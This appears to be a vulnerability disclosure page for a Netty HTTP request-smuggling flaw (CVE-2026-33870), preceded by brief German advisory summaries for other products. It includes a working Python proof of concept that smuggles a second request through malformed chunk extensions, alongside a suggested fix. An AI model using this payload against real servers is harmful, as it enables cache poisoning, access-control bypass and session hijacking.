CVE-2026-33870

Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Netty ausnutzen, um Sicherheitsvorkehrungen zu umgehen und einen Denial of Service zu verursachen.

Ein entfernter, anonymer oder authentisierter Angreifer kann mehrere Schwachstellen in Oracle Communications ausnutzen, um die Vertraulichkeit, Integrität und Verfügbarkeit zu gefährden.

Ein entfernter, anonymer oder authentisierter Angreifer kann mehrere Schwachstellen in Oracle Database Server ausnutzen, um die Vertraulichkeit, Integrität und Verfügbarkeit zu gefährden.

Ein Angreifer kann mehrere Schwachstellen in Atlassian Bamboo, Atlassian Bitbucket, Atlassian Confluence und Atlassian Jira ausnutzen, um beliebigen Programmcode auszuführen, Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren oder offenzulegen oder Cross-Site-Scripting-Angriffe durchzuführen.

Ein Angreifer kann mehrere Schwachstellen in Atlassian Bamboo, Bitbucket, Confluence, Fisheye, Crucible, Jira und Jira Service Management ausnutzen, um beliebigen Code auszuführen, erweiterte Berechtigungen zu erlangen, Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren, vertrauliche Informationen offenzulegen oder einen Denial-of-Service-Zustand auszulösen.

Ein Angreifer kann mehrere Schwachstellen in IBM Operational Decision Manager ausnutzen, um beliebigen Programmcode auszuführen, um seine Privilegien zu erhöhen, um einen Denial of Service Angriff durchzuführen, um Informationen offenzulegen, um Dateien zu manipulieren, und um Sicherheitsvorkehrungen zu umgehen.

Ein Angreifer kann mehrere Schwachstellen in Atlassian Bamboo, Bitbucket, Confluence, Fisheye, Crucible, Jira und Jira Service Management ausnutzen, um beliebigen Code auszuführen, erweiterte Berechtigungen zu erlangen, Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren, vertrauliche Informationen offenzulegen oder einen Denial-of-Service-Zustand auszulösen.

netty-4.1.132-1.1 on GA media

## Summary Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks. ## Background This vulnerability is a new variant discovered during research into the "Funky Chunks" HTTP request smuggling techniques: - <https://w4ke.info/2025/06/18/funky-chunks.html> - <https://w4ke.info/2025/10/29/funky-chunks-2.html> The original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values. ## Technical Details **RFC 9110 Section 7.1.1** defines chunked transfer encoding: ``` chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] ) chunk-ext-val = token / quoted-string ``` **RFC 9110 Section 5.6.4** defines quoted-string: ``` quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE ``` Critically, the allowed character ranges within a quoted-string are: ``` qdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text quoted-pair = "\" ( HTAB / SP / VCHAR / obs-text ) ``` CR (`%x0D`) and LF (`%x0A`) bytes fall outside all of these ranges and are therefore **not permitted** inside chunk extensions—whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a `400 Bad Request` response (as Squid does, for example). ## Vulnerability Netty terminates chunk header parsing at `\r\n` inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling. **Expected behavior (RFC-compliant):** A request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid. **Actual behavior (Netty):** ``` Chunk: 1;a="value ^^^^^ parsing terminates here at \r\n (INCORRECT) Body: here"... is treated as body or the beginning of a subsequent request ``` The root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely. ## Proof of Concept ```python #!/usr/bin/env python3 import socket payload = ( b"POST / HTTP/1.1\r\n" b"Host: localhost\r\n" b"Transfer-Encoding: chunked\r\n" b"\r\n" b'1;a="\r\n' b"X\r\n" b"0\r\n" b"\r\n" b"GET /smuggled HTTP/1.1\r\n" b"Host: localhost\r\n" b"Content-Length: 11\r\n" b"\r\n" b'"\r\n' b"Y\r\n" b"0\r\n" b"\r\n" ) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(3) sock.connect(("127.0.0.1", 8080)) sock.sendall(payload) response = b"" while True: try: chunk = sock.recv(4096) if not chunk: break response += chunk except socket.timeout: break sock.close() print(f"Responses: {response.count(b'HTTP/')}") print(response.decode(errors="replace")) ``` **Result:** The server returns two HTTP responses from a single TCP connection, confirming request smuggling. ### Parsing Breakdown | Parser | Request 1 | Request 2 | |-----------------------|-------------------|------------------------------------| | Netty (vulnerable) | POST / body="X" | GET /smuggled (SMUGGLED) | | RFC-compliant parser | 400 Bad Request | (none — malformed request rejected)| ## Impact - **Request Smuggling**: An attacker can inject arbitrary HTTP requests into a connection. - **Cache Poisoning**: Smuggled responses may poison shared caches. - **Access Control Bypass**: Smuggled requests can circumvent frontend security controls. - **Session Hijacking**: Smuggled requests may intercept responses intended for other users. ## Reproduction 1. Start the minimal proof-of-concept environment using the provided Docker configuration. 2. Execute the proof-of-concept script included in the attached archive. ## Suggested Fix The parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them: ``` 1. Read chunk-size. 2. If ';' is encountered, begin parsing extensions: a. For each byte before the terminating CRLF: - If CR (%x0D) or LF (%x0A) is encountered outside the final terminating CRLF, reject the request with 400 Bad Request. b. If the extension value begins with DQUOTE, validate that all enclosed bytes conform to the qdtext / quoted-pair grammar. 3. Only treat CRLF as the chunk header terminator when it appears outside any quoted-string context and contains no preceding illegal bytes. ``` ## Acknowledgments Credit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list. ## Resources - [RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1)](https://www.rfc-editor.org/rfc/rfc9110) - [Funky Chunks Research](https://w4ke.info/2025/06/18/funky-chunks.html) - [Funky Chunks 2 Research](https://w4ke.info/2025/10/29/funky-chunks-2.html) ## Attachments  [java_netty.zip](https://github.com/user-attachments/files/24697955/java_netty.zip)